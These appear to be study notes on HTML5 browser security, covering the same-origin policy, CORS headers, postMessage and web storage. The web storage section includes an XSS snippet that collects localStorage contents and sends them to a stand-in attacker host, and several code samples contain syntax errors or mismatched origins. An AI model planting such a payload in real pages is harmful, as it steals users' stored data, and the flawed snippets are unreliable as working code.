HTML 5

Notes

Same origin policy (SOP) is a policy implemented by browsers to prevent interactions between resources of different origins.

A script on index.html hosted on the domain1.com cannot access the home.html page on domain2.com

CORS (client- side cross-origin requests)

Used to enable cross-origin HTTP requests for:

- **Ajax requests** (through the XMLHttpRequest API)
- **Web Fonts** (for cross-domain font inclusion via @font-face within a CSS)
- **WebGL textures**
- **Images** are drawn using the drawImage API

CORS is supported by all browsers except Opera Mini.

A cross origin AJAX request

```
function crossOriginXHRGet(){
        var xmlhttpr = new XMLHttpRequest();
        var url = 'http://originb.ori/page.html';
        xmlhttpr.open('GET', url, true);
        xmlhttpr.onreadystatechange = handler;
        xmlhttpr.send(body);
}
```

- Requester origin: http://origina.ori
- Target origin: http://originb.ori

Different types of cross-origin requests that a browser can send.
Depending upon the request type, the exchanged headers will vary.
There are:

- Simple requests
- Preflight requests
- Requests with credentials

Simple request

- It only uses GET, HEAD or POST HTTP methods. If the request method is POST, the Content-Type HTTP header must be one of the following:
  - application/x-www-form-urlencoded
  - multipart/form-data
  - text/plain
- It does not set custom HTTP headers (i.e., headers that are not defined within the HTTP/1.1 specs).

Preflight requests

- A PUT request
- A POST request with Content-type set to application/xml

- A GET request with a custom header such as X- PINGOTHER

It needs to send two HTTP requests.
The first request is an HTTP OPTIONS request, which the browser sends to the target resource; this is necessary to determine whether the actual request is considered safe by the web server.

HTTP cookies and HTTP authentication information are both considered credentials; therefore, if a developer decides to include credentials, **he must set the flag withCredentials during the XHR invocation.**

Access control headers

dictate how the browser has to treat cross origin requests

Access-Control-Allow-Origin

by the target origin
allow access from a specific requester origin.

Access-Control-Allow-Credentials

by the target origin to the requester
indicates that the actual request can be made with credentials.

Access-Control-Allow-Headers

by the target origin to the requester
during preflight requests.
indicates which non-standard HTTP headers can be sent in the actual request.

Access-Control-Allow-Methods

by the target origin to the requester
during preflight requests.
indicates which HTTP methods can be used during the actual request.

Access-Control-Max-Age

the target origin to the requester
during preflight requests.
indicates how long the results of a preflight request can be cached.

Access-Control-Expose-Headers

by the target origin to the requester
indicates which headers can be accessed by the browser.

Access-Control-Request-Method

HTTP request header is sent by the requester origin
during preflight requests.
sent within the OPTIONS request
specifies what method the requester is going to use during the actual request.

Access-Control-Request-Headers

sent by the requester origin during preflight requests.
sent within the OPTIONS request and specifies which non- standard headers the requester is going to use during the actual request.

Cross Window Messaging.

HTML5 allows iframes, frames, popups and the current window to communicate one with each other, regardless of the same origin policy

- A main window including an iframe
- A main window including some HTML code that generates a popup

Example:

```
<button onclick="openPopup()">Open</button>
<button onclick="sendCustomMessage()">Send</button>
<script>
        function openPopup() {
                popup = open("http://target.site/to.php");
        }
    function sendCustomMessage() {
                popup.postMessage("Hi there!", "http://victim.site/to.php");
        }
        function receiveMessage(event) {
        if (event.origin !== "http://trusted.site") {
                console.log("Message from a unauthorized origin!"); return;
        }
</script>
```

A good practice is to always filter the senders by checking their origin.

Web storage

HTML5 allows websites to store data locally in the browser. in localStorage and the sessionStorage objects via JavaScript. (Session storage is less persistent than local storage)

- cookie size is limited to 4KB, while localStorage size ranges from 5MB to 10MB (depending on the browser implementation)
- cookies are accessed by client/server and transferred over HTTP connections, localStorage is known only to the browser
- cookies represent a complex structure by using different fields, while web storage provides a simpler interface by using an associative array data model.

If an attacker exploits XSS flaws in a page of a specific domain, they will be able to steal the instances of localStorage and sessionStorage objects related to that origin.

```
<script>
        var i = 0;
        var stor = "";
        var img = new Image();
        while (localStorage.key(i) != null) {
                var key = localStorage.key(i);
                stor += key + ": " + localStorage.getItem(key)) + "\n"; i++;
        }
        img.src="http://attacker.site?steal.php?storage=" + stor;
</script>
```

The sandbox attribute is a new attribute of the element iframe. It has been introduced by the HTML5 specs and enables
restrictions on iframe contents.